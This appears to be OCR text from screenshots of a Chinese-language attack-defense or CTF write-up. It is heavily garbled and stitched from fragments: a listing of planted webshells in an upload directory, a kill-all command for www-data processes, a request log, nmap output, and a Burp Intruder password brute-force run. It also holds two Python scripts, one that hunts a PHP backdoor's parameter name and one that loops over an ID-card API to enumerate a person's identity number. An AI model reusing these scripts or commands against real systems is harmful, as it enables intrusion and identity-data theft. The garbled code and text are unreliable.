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root@2e5aa2dof6a6: /var /www/html/upload/upload# 11

total 28

drwXxrwxrwx root root 4096 17 §/
drwxrwxrwx root root 4096 :04 /

- TWXTWX WX root root 176 :04 ._.DS_Store*

-TWXT WX WX root root 176 :04 ._config.php*
-rW-r--r-- www-data www-data 90 :20 .config.php
~TW-F=-T-~- www-data www-data 1115 :17 153253.php5
-rW-r--r-- www-data www-data 650 :16 shell.php
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2985 — ¥ ignore_user_abort(true) REMHA, —HREFSAMBRAILE S, HA usleep() HIBT[AILIE/NTF
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BARAANIR, ERIER MG HEMmEEwww-data T FREFR R —2, PATHS:

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

RIGH rm -f .config.php BUIEHR T RIEL”.
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745 2020-8-02-17:05:53

746 Array
747 (
748 [Get] => Array
749 (
750 id)-=>oofinficloal calboclsc ol Lofis s fetcipassead
751 )
753 [Post] -=> Array
754 (
55 )
750 [Cookie] -=> Array
58 (
75¢ [yNYk 2132 saltkey] => go3Pc4KK
760 [yNYk 2132 lastvisit] -=> 1575272835
761 [yNYk 2132 sid] -=> orIDzR
162 [vyNYk 2132 lastact] -=> 1575276949 home .php
763 )
Ted
765 [File] -=> Array
766 {
S )
76
769 [Header] -=>-Array
a9 (
o [Upgrade-Insecure-Requests] -=>-1
772 [Cookie] => yNYk 2132 saltkey=qo3Pc4KK; yNYk 2132 lastvisit=1575272835; yNYk 2132 sid=orIDzR;
773 [Connection] => close
774 [Accept-Encoding] - => gzip, -deflate
775 [Accept-Language] - =>-zh-CN, zh;q=0.8, zh-TW;qg=0.7, zh-HK;qg=0.5,en-0U5;g=0.3,en;g=0.2
776 [User-Agent' —> Mazilla/5.0  (Windows NT-10.0; Winé4; x64; rv:70.0) -Gecko/20100101 Firefox/70.0

[Host] =>
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: # nmap
Starting Nmap 7.80 ( '
Nmap scan report for
Host is up (0.0024s lacciicy).
Not shown: 996 filtered ports
STATE SERVICE
open ssh
open http
3306/tcp open mysql
9000/tcp closed cslistener

Nmap done: 1 IP address (1 host up) scanned in 116.34 seconds
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B C:\Windows\System32\cmd.exe — O] X

MEMERER T XN ERNDZ4MEFA2.php, ViRERHBARLTAH, B/\RHERRENBEHRBH/NGEIT, TR
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Import requests

url = "http://ip/bgdoor.php"#/& ]}k
dict = open('fEI1HEMFM . txt", r")
dict list = dict.readlines()
print("[+] HEFEARDEA 1.GET 2.POST")
type = input("")

if int(type)==1:

for i in dict_list:

data = {i.strip():'phpinfo();"'}

res = requests.get(url,data)

if '$ SERVER' in res.text:

for i in dict list:

data = {i.strip():'phpinfo();"'}
res = requests.post(url,data)
if '$ SERVER' in res.text:

print(i.strip())
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Loaded 0 events
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B Intruder attack 3 - ) X
Attack Save Columns
Filter: Showing all items 12
Request |Padsa’ | Status | Eror |Timeout|Length 4| Comment |
_l 32 O O 348 .
0 302 U U 1624
1 igadmin 302 [ [J 1624
2 admin12 302 O ) 1624
3 admin888 302 U L) 1624
4 admin8 302 - L) 1624
5 admin123 302 U U 1624
6 sysadmin 302 O L) 1624
7 adminxxx 302 U ) 1624
8 adminx 302 U U 1624 v
5159 of 7501 e —— |
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RATH T NHARBIRD, BINILEE HLHKISFZ,

import urllib,urllib2,sysimport sslhost = 'https://idcard.market.alicloudapi.com'path = '/lianzhuo/idcard'method
= "GET'appcode = '2elac4eX¥¥dkdkiti*x*x*x*xq£8758e438"'querys = 'cardno=5*****19911023"name = '&name=*****'podys =
{}for i in range(5000):url = host + path + '?' + querys + str(i) + namerequest = urllib2.Request(url)request.add
header('Authorization', 'APPCODE ' + appcode)ctx = ssl.create default context()ctx.check hostname = Falsectx.ve

ss1.CERT_NONEresponse = urllib2.urlopen(request, context=ctx)content = response.read()if (content):p

, "birthday”:"1991-10-23"}, “resp”:{"code":0, "desc": "
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